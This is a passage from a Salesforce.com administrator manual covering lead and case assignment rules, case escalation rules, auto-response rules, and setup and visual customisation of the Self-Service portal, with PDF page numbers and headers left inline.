1 ISPICKVAL(Account.Rating, "Hot") Tier 1 Support Queue
2 OR( ISPICKVAL(Account.Rating, "Warm") , Tier 2 Support Queue
ISPICKVAL(Account.Rating, "Cold") )

See Examples of Advanced Formula Fields on page 489 for additional lead management rule examples.

See Also:
Setting Up Assignment Rules
Viewing and Editing Assignment Rules
Assigning Cases

Setting Up Assignment Rules

Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create assignment rules: “Customize Application”

To create an assignment rule:

1. Choose Setup ➤ Customize from the top of any page.


2. Select Leads or Cases, and click Assignment Rules.

700
Customize Managing Assignment Rules

3. Choose New, and give the rule a name. Specify whether you want this to be the active rule for leads or cases created
manually and via the web and email. Click Save.
4. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that
determines how leads or cases are processed. For each entry, you can specify the following:

Field Description
Order Sets the order in which the entry will be processed in the rule,
for example, 1, 2, 3.
Salesforce.com evaluates each entry in order and tries to match
the criteria of the entry. As soon as a match is found,
Salesforce.com processes the item and stops evaluating the
rule entries for that item. If no match is found, the item is
reassigned to either the default Web-to-Lead owner, the
administrator doing a lead import, or the default case owner.

Criteria Specifies conditions that the lead or case must match for it to
be assigned.
You can enter your rule criteria:

• Choose criteria are met and select the filter criteria


that a record must meet to trigger the rule. For example,
set a case filter to Priority equals High if you want
case records with the Priority field marked High to
trigger the rule.
If your organization uses multiple languages, enter filter
values in your organization's default language. You can
click the Advanced Options... link to add up to 25 filter
criteria, up to 255 characters.
• Choose formula evaluates to true and enter a
formula that returns a value of “True” or “False.”
Salesforce.com triggers the rule if the formula returns
“True.” For example, the formula AND(ISCHANGED(
Priority ), ISPICKVAL (Priority, "High")
) triggers a rule that changes the owner of a case when the
Priority field is changed to High. For information on
using formulas, see Building Formulas on page 497.

Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.

User Specifies the user or queue to which the lead or case will be
assigned if it matches the condition. Users specified here
cannot be marked “inactive” and they must have “Read”
permission on leads or cases.
Note that users assigned to a rule cannot be reassigned to a
profile that does not have the “Read” permission on leads or
cases. Furthermore, you cannot remove the “Read” permission

701
Customize Managing Assignment Rules

Field Description
on leads or cases from a profile associated with a user assigned
to a rule.
If your organization uses divisions, leads are assigned to the
default division of the user or queue specified in this field.
Cases inherit the division of the contact to which they are
related, or are assigned to the default global division if no
contact is specified.

Do Not Reassign Owner Specifies that the current owner on a lead or case will not be
reassigned to the lead or case when it is updated.
Email Template Specifies the template to use for the email that is automatically
sent to the new owner. If no template is specified, no email
will be sent. When assigning a lead or case to a queue, the
notification goes to the Queue Email address specified for
the queue and all queue members.
Predefined Case Teams Specifies the predefined case team(s) to add to a case when it
matches the condition. A case team is a team of users that
work together on a case. For example, your case team may
include a support rep, support manager, and a product
manager. For more information, see Predefining Case Teams
on page 1354.

Click the Lookup icon ( ) to select a predefined case team


to add to the assignment rule. To add more predefined case
teams, click Add Row to add a new row with which you can
add a predefined case team.

Replace any existing predefined case teams Specifies that any existing predefined case teams on the case
on the case are replaced with the predefined case teams on the condition,
when a case matches the condition. For more information,
see Predefining Case Teams on page 1354.

After creating the entry, click Save, or Save & New to save the entry and create more entries.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any
leads or cases that the previous rule entries did not assign.

Tip: Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules

702
Customize Managing Escalation Rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Managing Assignment Rules
Viewing and Editing Assignment Rules

Viewing and Editing Assignment Rules

Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change assignment rules: “Customize Application”
To view assignment rules: “View Setup and Configuration”

To view and edit assignment rules:

• To edit the name of a rule, click Rename next to the rule name.
• To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.

See Also:
Setting Up Assignment Rules
Managing Assignment Rules

Managing Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change escalation rules: “Customize Application”

Create case escalation rules to escalate cases automatically if they are not resolved within a certain period of time.

703
Customize Managing Escalation Rules

Typically, your organization will have one escalation rule that consists of multiple rule entries which specify exactly how the
cases are escalated. For example, your standard case escalation rule may have two entries: cases with Type set to Gold are
escalated within two hours, and cases with Type set to Silver are escalated within eight hours.
For a list of the maximum number of rules allowed in each organization, see Salesforce.com Editions and Limits.
For information on debugging escalation rules, see What is a Debug Log? on page 981.

See Also:
Setting Up Escalation Rules
Viewing and Editing Escalation Rules

Setting Up Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create escalation rules: “Customize Application”

To create an escalation rule:

1. Choose Setup ➤ Customize ➤ Cases ➤ Escalation Rules.


2. Choose New, and give the rule a name. Specify whether you want this to be the active escalation rule. Click Save.
3. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that
determines how cases are processed. For each entry, you can specify the following:

Field Description
Order Sets the order in which the entry will be processed in the
rule, for example, 1, 2, 3.
Salesforce.com evaluates each entry in order and tries to
match the criteria of the entry. As soon as a match is found,
Salesforce.com processes the item and stops evaluating the
rule entries for that item. If no match is found, the case is
simply not escalated.

Criteria Specifies conditions that the case must match for it to be


escalated.
You can enter your rule criteria:

• Choose criteria are met and select the filter criteria


that a record must meet to trigger the rule. For example,
set a case filter to Priority equals High if you
want case records with the Priority field marked High
to trigger the rule.

704
Customize Managing Escalation Rules

Field Description
If your organization uses multiple languages, enter filter
values in your organization's default language. You can
click the Advanced Options... link to add up to 25 filter
criteria, up to 255 characters.
• Choose formula evaluates to true and enter a
formula that returns a value of “True” or “False.”
Salesforce.com triggers the rule if the formula returns
“True.” For example, the formula AND(ISCHANGED(
Priority ), ISPICKVAL (Priority, "High")
) triggers a rule that changes the owner of a case when
the Priority field is changed to High.For information
on using formulas, see Building Formulas on page 497.

Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.

Specify business hours criteria Specifies how business hours apply to an escalated case:
• Ignore business hours - Select this field to ignore
business hours when escalating a case.
• Use business hours specified on case - Select
this field to use the existing business hours on a case
when escalating it.
• Set business hours - Select this field and click the
lookup icon ( ) to select predefined business hours to
apply to a case when escalating it.

Escalation actions only run during the business hours with


which they are associated. For more information, see Setting
Business Hours on page 674.

Specify how escalation times are set Determines what field applies to your Age Over number
of hours. Your Age Over setting can be based on the
number of hours since:
• A case was created
• The case was created unless it has been modified; once
modified, the case will never get escalated
• The most recent time a case was modified
For example, if you choose Based on last
modification time of the case and your Age Over
setting is 5, cases will get escalated 5 hours after the most
recent last modified time and date as long as the case is open.

4. After creating the entry, click Save, or Save & New to save the entry and create more entries.
5. After you create the last entry, click Save. The escalation rule and a list of one or more rule entries are displayed.

705
Customize Managing Escalation Rules

Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch
any cases that the previous rule entries did not assign.

6. Specify what action you want to be taken when one of the escalation rule entries is true. Click Edit next to the name of
one of the rule entries.
7. Click New to add an escalation action. You can specify up to five actions for each rule entry, to escalate the case over
increasing periods of time. For each escalation action, you can specify the following:

Field Description
Age Over Specifies the number of hours after which a case should be
escalated if it has not been closed. This time is calculated
from the date field set in the Specify how escalation
times are set field. No two escalation actions can have
the same number in this field.
Assign To Specifies the user, partner user, or queue to which the case
will be assigned if it matches the condition. Users specified
here cannot be marked “inactive” and they must have the
“Read” permission on cases.
Users assigned to the rule cannot be reassigned to a profile
that does not have the “Read” permission on cases.
Furthermore, you cannot remove the “Read” permission on
cases from a profile associated with a user assigned to the
rule.
Note that reassigning an escalated case is optional.

Notification Template Specifies the template to use for the email that is
automatically sent to the new owner specified in the Assign
To field. If no template is specified, no email will be sent.

Notify this user Specifies the user to notify when the case is escalated.
Notifying another user is optional.
Notify Case Owner Indicates that the owner of the case is notified when the case
is escalated.
Notification Template Specifies the template to use for the notification email that
is automatically sent to the Notify user(s). If you choose a
user in the Notify field, you must select a template.
Additional Emails Specifies additional individuals that you want to notify upon
escalation.

Note: Each time you save a case or change the case owner, your escalation rules re-evaluate that case. Once the case
matches an escalation rule entry, calculates when the case should be escalated and stops checking other escalation rule
entries. For example, if you have two escalation rule entries that specify:

• Escalate three hours after creation date if Case Reason equals Crash

706
Customize Managing Escalation Rules

• Escalate four hours after creation date if Case Reason equals Bug

A case created with Case Reason of Bug will be scheduled for escalation four hours after it was created. Later, a
user changes the case, which causes the escalation rules to re-evaluate the case. If escalation rules find that the Case
Reason is now Crash, it schedules the case to be escalated three hours after creation date. If the case was created more
than three hours ago, the case is escalated as soon as possible.
Escalation rules are not evaluated when transferring multiple cases at one time from a case list view. Also note that if
you use assignment rules to change case ownership, the escalation rules are evaluated before any assignment rules.

Tip: Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules
Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Managing Escalation Rules
Viewing and Editing Escalation Rules
Monitoring the Case Escalation Rule Queue

Viewing and Editing Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change escalation rules: “Customize Application”

To view and edit escalation rules:

• To edit the name of a rule, click Rename next to the rule name.
• To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.

See Also:
Managing Escalation Rules
Setting Up Escalation Rules
Monitoring the Case Escalation Rule Queue

707
Customize Setting Up Auto-Response Rules

Setting Up Auto-Response Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change auto-response rules: “Customize Application”

Response rules for leads and cases determine the email template to use when responding to cases and leads captured via:

• Web-to-Lead
• Web-to-Case
• Email-to-Case
• On-Demand Email-to-Case
• A Customer Portal
• A Self-Service portal

You can create response rules based on any attribute of the incoming case or lead. The email responses are listed in the Activity
History related list of the lead or contact and the Email related list on cases. For a list of the maximum number of rules allowed
in each organization, see Salesforce.com Editions and Limits.
To get started setting up response rules for cases, click Setup ➤ Customize ➤ Cases ➤ Auto-Response Rules.
To get started setting up Web-to-Lead response rules, click Setup ➤ Customize ➤ Leads ➤ Auto-Response Rules.

• Click New to create a new response rule.


• Click Rename to change the name of a rule.
• Click Del to delete a rule.
• Click on a rule name to view a list of entries for that rule.

For information on debugging response rules, see What is a Debug Log? on page 981.

See Also:
Creating Auto-Response Rules
Editing Auto-Response Rules
Differences Between Auto-Response Rules and Workflow Alerts

708
Customize Setting Up Auto-Response Rules

Creating Auto-Response Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create auto-response rules: “Customize Application”

You can create as many response rules as you like but only one rule for cases and one for leads can be active at a time. Each
rule can have a maximum of 3000 entries.
Rule entries determine the criteria that must be met and the email template to use when leads and cases generated online
match the criteria.

• To create a case response rule that is used by:

- Web-to-Case
- Email-to-Case
- On-Demand Email-to-Case
- A Customer Portal
- A Self-Service portal

Click Setup ➤ Customize ➤ Cases ➤ Auto-Response Rules.


• To create a Web-to-Lead response rule, click Setup ➤ Customize ➤ Leads ➤ Auto-Response Rules.

1. Click New.
2. Enter the rule name.
3. Check the active box to make this rule the only one activated.
4. Click Save.
5. Create rule entries.

Creating Response Rule Entries


1. Click New from the rule detail page.
2. Enter a number to specify the order this entry should be processed. The rule processes entries in this order and stops
processing at the first matching entry and then sends the email using the specified email template. If no response rules
apply, the rule uses the default template you specify on the Web-to-Case or Web-to-Lead Settings page.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch
any leads or cases that the previous rule entries did not. This is especially important for Email-to-Case and
On-Demand Email-to-Case which do not have default templates.

3. Enter your rule criteria:


• Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
a case filter to Priority equals High if you want case records with the Priority field marked High to trigger
the rule.

709
Customize Setting Up Auto-Response Rules

If your organization uses multiple languages, enter filter values in your organization's default language. You can click
the Advanced Options... link to add up to 25 filter criteria, up to 255 characters.
• Choose formula evaluates to true and enter a formula that returns a value of “True” or “False.” Salesforce.com
triggers the rule if the formula returns “True.” For example, the formula
AND(ISPICKVAL(Priority,"High"),Version<4.0) triggers a rule that automatically responds with the selected
template if the Priority field on a case is set to High and the value of a custom field named Version on the case
is less than four. For information on using formulas, see Building Formulas on page 497.

4. Enter an email sender’s name.


5. Enter an email address for the sender.
6. Select an email template.
7. Click Save.
Tip: Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Editing Auto-Response Rules
Setting Up Auto-Response Rules

Editing Auto-Response Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change auto-response rules: “Customize Application”

To edit auto-response rules that are used by:

• Web-to-Case
• Email-to-Case
• On-Demand Email-to-Case
• A Customer Portal
• A Self-Service portal

Click Setup ➤ Customize ➤ Cases ➤ Auto-Response Rules and click a rule name.

710
Customize Setting Up Auto-Response Rules

To edit Web-to-Lead auto-response rules, click Setup ➤ Customize ➤ Leads ➤ Auto-Response Rules and click a rule
name.

• Click Edit to change the rule name.


• Click New next to the Rule Entries list to create a new rule entry. Each rule can have a maximum of 3000 entries.
• Click Reorder next to the Rule Entries list to change the order they are processed.
• Click Edit next to a rule entry to change it.
• Click Del next to a rule entry to delete it.

See Also:
Setting Up Auto-Response Rules
Creating Auto-Response Rules

Differences Between Auto-Response Rules and Workflow Alerts


Auto-response rules available in: Professional, Enterprise, Unlimited, and Developer Editions
Workflow alerts available in: Enterprise, Unlimited, and Developer Editions

Auto-response rules and workflow alerts provide similar functionality. The following table lists some of the differences between
workflow alerts and auto-response rules to help you determine which process to use:

Type of Process Designed For Runs When Sends Email To Number of Emails
Sent
Workflow alerts Notifications to A case or lead is created Anyone you choose who Sends as many emails as
interested parties. or edited. is associated to the Case there are matching
or Lead object. criteria in the workflow.
Auto-response rules Initial response to the A case or lead is Contact on a case or the Sends one email based
contact who created a created. person who submitted on the first rule entry
case or the person who the lead on the Web. criteria it matches in a
submitted the lead on sequence of rule entries.
the Web.

711
Customize Setting Up Self-Service

Setting Up Self-Service
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use Self-Service Jump Start: “Manage Self-Service Portal”
To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

Self-Service provides an online support channel for your customers - allowing them to resolve their inquiries without contacting
a customer service representative.
Setting up your Self-Service portal is simple. Choose from two setup options:

• Jump Start - Gets you up and running quickly; see Self-Service Jump Start on page 713.
• Self-Service Setup - Complete setup which allows you more customization. The setup consists of:

- Enabling Self-Service Features and Settings on page 714


- Customizing Your Self-Service Look and Feel on page 717
- Customizing Your Self-Service Fonts and Colors on page 720
- Customizing Your Self-Service Pages on page 721
- Generating Login HTML on page 730
- Managing Self-Service Users on page 730

See Preparation for Setting Up Your Portal on page 712 to learn more about implementing Self-Service.

See Also:
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Look and Feel
Self-Service Jump Start
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide

Preparation for Setting Up Your Portal


Before setting up your Self-Service portal or your Salesforce.com Customer Portal:

• Build your public solutions - Review and mark your solutions as Visible in Self-Service Portal. Only solutions
marked Visible in Self-Service Portal can appear in the Self-Service portal or the Customer Portal. (See

712
Customize Self-Service Jump Start

Reviewing Solutions on page 2115.) For your Self-Service portal only, identify the top five solutions you want to feature on
the Home Page.
• Determine the information to show and collect - Decide which case fields will be available when users view their cases.
You should also decide which fields should be required when users submit cases online and which picklist values users can
select when they solve their own cases with suggested solutions. (See Case Fields on page 1341.)
• Designate the host location - Choose whether to have your Self-Service login page hosted on your corporate website or
have Salesforce.com host your entire portal. The page may be located anywhere within your site.
• Customize your portal communication templates - Decide which email templates to send to users to communicate a
variety of information, such as reset passwords, notifications when public comments are added to cases, and case
auto-responses with suggested solutions.
• Customize and distribute the portal tip sheet - Download the Using the Self-Service Portal and Customer Portal tip
sheet and edit it to match your portal's branding and features, such as suggested solutions and the ability to attach files to
submitted cases. Then distribute the document to your customers who want to learn how to answer their own inquiries
using your portal.

See Also:
Setting Up Self-Service
Enabling Salesforce CRM Content in the Customer Portal

Self-Service Jump Start


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use Self-Service Jump Start: “Manage Self-Service Portal”

Get your Self-Service portal running quickly using the Jump Start button. It automates the setup process by choosing some
default settings for you.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings ➤ Jump Start.


2. Review the process and click Continue.
3. Choose a color theme.
4. Edit the default settings as needed and click Save.
5. Test your Self-Service portal by:

a. Clicking Generate to retrieve a test username and password.


b. Clicking Access Self-Service Portal to preview your pages.
c. Optionally, click Invite to notify other users how to log in and preview your pages.

6. Enable your Self-Service portal by copying the link provided in the Enable Self-Service... section to an appropriate place
on your website.
7. Click Done when finished.
8. Enable your customers to use your Self-Service portal. See Managing Self-Service Users on page 730.

713
Customize Enabling Self-Service Features and Settings

Tip: To make changes to your settings, see Enabling Self-Service Features and Settings on page 714. The Self-Service
Jump Start automatically enables the Enable Self-Service button on contact detail pages.

Enabling Self-Service Features and Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Click Self-Service Setup on the Self-Service Settings page.
3. Set the following options:

Setting Description
Login Enabled Allows users to log into the Self-Service portal.
Edit Self-Service Users Displays the Enable Self-Service button on contact detail
pages. Or, for contacts in which Self-Service is already
enabled, the View Self-Service button displays.
Logout URL The URL of the web page that will be displayed when users
log out of the Self-Service portal, for example,
http://www.acme.com. If a logout URL is not specified,
the Logout button does not display to users.
Default Case Origin The default origin assigned to all cases submitted via the
Self-Service portal. Available values are taken from your
organization's Case Origin picklist. You can assign
different default origins for cases submitted via Self-Service
and Web-to-Case.
New Cases Visible in Self-Service Portal Automatically selects the Visible in Self-Service
Portal checkbox for all new cases, including cases created
via Web-to-Case, Email-to-Case, and On-Demand
Email-to-Case.
Regardless of this default, users creating new cases can
manually set the Visible in Self-Service Portal
checkbox.

714
Customize Enabling Self-Service Features and Settings

Setting Description
Enable Solution Browsing Enables solution categories in the Self-Service portal so that
customers can browse solutions by category.
If multilingual solutions is enabled, you can translate solution
categories. For more information, see Entering Translated
Terms on page 123.

Top-Level Category for Self-Service Portal The top-level category accessible by customers in the
Self-Service portal. Customers can view all solutions marked
Visible in Self-Service Portal in this category
and its subcategories.
Leave this blank to let customers view all solutions marked
Visible in Self-Service Portal in all categories.

Case Record Type The record type to assign to any case submitted via the
Self-Service portal.
"From" Email Address The email address from which all new user and password
emails will be sent, for example, support@acme.com.
When this field is blank, Salesforce.com uses:
• The Automated Case User's email address for users who
receive an email with a temporary password by clicking
Forgot your password? on the Login Page of the
Self-Service portal. The Automated Case User is
specified at Setup ➤ Customize ➤ Cases ➤ Support
Settings.
• The email address of the user who last posted a comment
for users who receive a case comment notification email.

"From" Email Name The name that will be associated with the “From” Email
Address, for example, “Acme Customer Support.” When
this field is blank, Salesforce.com uses:
• Your organization's name for users who receive an email
with a temporary password by clicking Forgot your
password? on the Login Page of the Self-Service portal.
• The name of the user who last posted a comment for
users who receive a case comment notification email.

New User Template The email template used to send a username and initial
password to all newly-enabled Self-Service users. Self-Service
automatically selects a sample template for you. To create
your own template or modify the sample, see Managing
Email Templates on page 109.This template must be marked
as “Available for Use.”
New Password Template The email template used to send a new password to existing
Self-Service users when you reset their passwords or when
they reset their own passwords by clicking Forgot your

715
Customize Enabling Self-Service Features and Settings

Setting Description
password? on the Login Page of the Self-Service portal.
Self-Service automatically selects a sample template for you.
To create your own template or modify the sample, see
Managing Email Templates on page 109.This template must
be marked as “Available for Use.”
Enable Notification Email on New Case When selected, indicates that the Send Customer
Comment Notification option on a case comment is displayed.

Even if this checkbox is not selected, the Send Customer


Notification option still displays on cases if you have
enabled email notifications to contacts who are not members
of your Self-Service portal. See Customizing Support
Settings on page 678.

New Comment Template The email template used to send a notification to


Self-Service users when a public comment is added to one
of their cases. Self-Service automatically selects a sample
template for you. To create your own template or modify
the sample, see Managing Email Templates on page 109.
This template must be marked as “Available for Use.”
Enable Case Auto-Response Rules for Indicates if cases submitted through your Self-Service portal
Self-Service Cases will trigger your auto-response rules.
Case Creation Template The email template to use when cases submitted through
your Self-Service portal do not match any auto-response
rules.
Maximum Page Width The maximum pixel width of the Self-Service pages from
Salesforce.com. If hosting the portal yourself, this is the
width of the inner HTML frame on your Self-Service login
page.
Minimum Page Height The minimum pixel height of the Self-Service pages from
Salesforce.com.
Style Sheet URL The complete, publicly accessible URL of your organization’s
Self-Service style sheet, for example,
“http://www.acme.com/styles/selfservice.css.” See
Customizing Your Self-Service Look and Feel on page 717.
If you use a predefined color theme, leave this field blank.

Color Theme Use one of Salesforce.com’s color themes if you do not have
your own style sheet to use. Click the View link to see
template settings. To change the fonts and colors of one of
Salesforce.com’s color themes, see Customizing Your
Self-Service Fonts and Colors on page 720.
Case Single Term Term used on the Self-Service portal instead of “case”
(singular form).

716
Customize Enabling Self-Service Features and Settings

Setting Description
Case Plural Term Term used on the Self-Service portal instead of “cases”
(plural form).
Solution Single Term Term used on the Self-Service portal instead of “solution”
(singular form).
Solution Plural Term Term used on the Self-Service portal instead of “solutions”
(plural form).

4. Click Save to save your Self-Service Settings.

See Also:
Setting Up Self-Service
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages
Generating Login HTML
Managing Self-Service Users
Self-Service Jump Start

Customizing Your Self-Service Look and Feel


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

Develop a meaningful look and feel for your entire Self-Service portal.
Follow these steps:

1. Customize the headers and footers of the Self-Service pages; see Create Your Custom Page Header and Footer Sections
on page 718.
2. Customize the Self-Service portal fonts and colors via one of these options:

• Choose a predefined color theme or upload your own style sheet; see Customize the Self-Service Style Sheet on page
719.

717
Customize Enabling Self-Service Features and Settings

• Customize fonts and colors using a point-and-click editor; see Customizing Your Self-Service Fonts and Colors on
page 720.

See Also:
Customizing Your Self-Service Pages
Self-Service Jump Start

Create Your Custom Page Header and Footer Sections

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

Apply your company’s branding to every page in your Self-Service portal by customizing your page headers and footers. Your
portal page headers and footers can contain a company logo, your company messaging, or your company’s colors.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Click Edit next to the Page Header listed in the Portal Page Sections.
3. Check Show Header to display the header on your portal pages.
4. Check Show Header Separator to include a line separating the header from your body pages.
5. If desired, enter a page message. Use the format toolbar to format your page message. See Using the Format Toolbar on
page 117 for descriptions of the HTML formatting buttons.
Optionally, check Show HTML to view your page message in HTML code.
6. Click Save.
7. Click Edit next to the Page Footer listed in the Portal Page Sections.
8. Check Show Footer to display the footer on your portal pages.
9. Check Show Footer Separator to include a line separating the footer from your body pages.
10. If desired, enter a page message. Use the format toolbar to format your page message. See Using the Format Toolbar on
page 117 for descriptions of the HTML formatting buttons.
Optionally, check Show HTML to view your page message in HTML code.

718
Customize Enabling Self-Service Features and Settings

11. Click Save.

See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages

Customize the Self-Service Style Sheet

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

Select a predefined color theme, or download a sample Self-Service color theme so you can customize it. This color theme
allows you to incorporate your organization’s branding into your Self-Service portal.
Note: To customize the Self-Service color theme using a point-and-click editor, see Customizing Your Self-Service
Fonts and Colors on page 720.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Click Self-Service Setup.
3. Click the View Color Theme Options link in the page settings section.
4. Find a set of fonts and colors you like and click Download This Color Theme.
To use a predefined color theme without customizing it, simply click Select This Color Theme.
5. Save the color theme you downloaded and give it to your webmaster if it needs more customization. The downloaded color
theme is a CSS style sheet that your webmaster can edit.
6. Store the downloaded style sheet in a publicly accessible location and enter the URL for your style sheet in the Style
Sheet URL field.
7. Click Save.

See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages

719
Customize Customizing Your Self-Service Fonts and Colors

Customizing Your Self-Service Fonts and Colors


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can customize the fonts and colors of the Self-Service portal to reflect your company’s branding. Your portal’s fonts and
colors are specified in a portal “color theme.” Select a predefined color theme and customize it using a point-and-click editor.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Fonts and Colors. Salesforce.com offers predefined
themes that you can customize. Click Preview to view any theme.
2. Select the color theme you want to customize.
From the color theme page, you can:

• Click the Reset to Default link to remove all customizations from a theme.
• Click the Back to All Themes link to return to the list of color themes.
• Click Preview <Theme Name> to view the theme you are customizing.

3. Choose a portal page to customize. Color themes are customized page-by-page with some page elements being shared by
multiple pages.
From the portal page, you can:

• Click See Examples to see all of the elements that you can customize.
• Click Clear next to an element to remove customizations.
• Click Preview <Theme Name> to view the theme you are customizing.
• Click the Back to All Pages link to return to the list of all portal pages.

4. Click Edit next to the visual element you want to customize. Some elements are visible only on the selected portal page,
and some are shared across multiple portal pages. Changes you make to shared elements affect all pages.
Note: Depending on the visual element, you can customize attributes using a point-and-click editor or a custom
style sheet editor which lets you modify the cascading style sheets (CSS) directly. Choose the click here link to
switch between the two. If you are using the point-and-click editor, select the Show advanced attributes box to
access the click here link. We recommend that only users familiar with cascading style sheets (CSS) define them.

5. Edit the visual element as desired.


If you are using the point-and-click editor:

• Click Edit next to a basic or advanced attribute. If you do not see the advanced attributes, select the Show advanced
attributes box.

720
Customize Customizing Your Self-Service Pages

• In the popup window, change the attribute as needed.


• Click OK to confirm your changes in the popup window.
If you are using the custom style sheet editor, enter valid CSS code.
For a list of all the page attributes you can edit, see Self-Service Page Attributes on page 722.

6. Click Save to save all changes to the visual element and its attributes. Customizations are not visible to your Self-Service
users until you set the color theme as active.
7. Repeat these steps to customize all visual elements and their attributes as necessary.
8. Return to the list of color themes by clicking the Back to All Pages link and then the Back to All Themes link.
9. Click Set Active Theme.
10. Select the theme to activate for your portal, live and in real-time. Your organization can only have one active theme.
11. Click Save.

Note: Since changes to an active theme take effect immediately, we recommend that you fully customize a theme
before activating it so as not to disturb your customers.

Customizing Your Self-Service Pages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Make the necessary enhancements to any Self-Service pages. See the following for more information:

• Customize the Login Page on page 723


• Customize the Home Page on page 724
• Enable the Solutions Page on page 725
• Customize the Log a Case Page on page 726
• Customize the View Cases Page on page 727
• Customize the Suggested Solutions Page on page 729

Note:

• You cannot create multiple versions of the same Self-Service portal page. However, you can customize each
Self-Service page.

721
Customize Customizing Your Self-Service Pages

• Salesforce Knowledge articles do not display in the Self-Service portal.

See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Self-Service Jump Start

Self-Service Page Attributes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal: “Manage Self-Service Portal”
To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

The following is a list of Self-Service page attributes which can be modified with the point-and-click editor:

Page Attribute Description


Color The color of the text.
Bold The bolded value of the text. For example, whether the text
is bolded or not.
Font size The size of the text.
Font A specific style of type in which letters are displayed.
Font Family A prioritized list of font family names for an element. Web
browsers use the first font value recognized.
Underline The underline value of the text. For example, whether the text
is underlined or not.
Border Color The color of a border.
Border Style The style of a border, such as dotted, dashed, or solid.
Border Width The width of a border.
Bottom Border Width The width of a bottom border.
Padding The amount of space between the border and the element.

722
Customize Customizing Your Self-Service Pages

Page Attribute Description


Padding Top The amount of space to put between the top border and the
element.
Padding Right The amount of space to put between the right border and the
element.
Padding Left The amount of space to put between the left border and the
element.
Padding Bottom The amount of space to put between the bottom border and
the element.
Height The height of the element.
Line Height The height of a line.
Background Color The background color of the element.
Background Repeat The format in which the background image displays. For
example, whether the image displays repeatedly in a horizontal
or vertical format.
Background Image The background image of the element. The relative or absolute
URL which hosts the image must be inside the surrounding
URL() syntax. For example,
url(/sserv/img/tabBg_gray.gif).

See Also:
Customizing Your Self-Service Fonts and Colors

Customize the Login Page


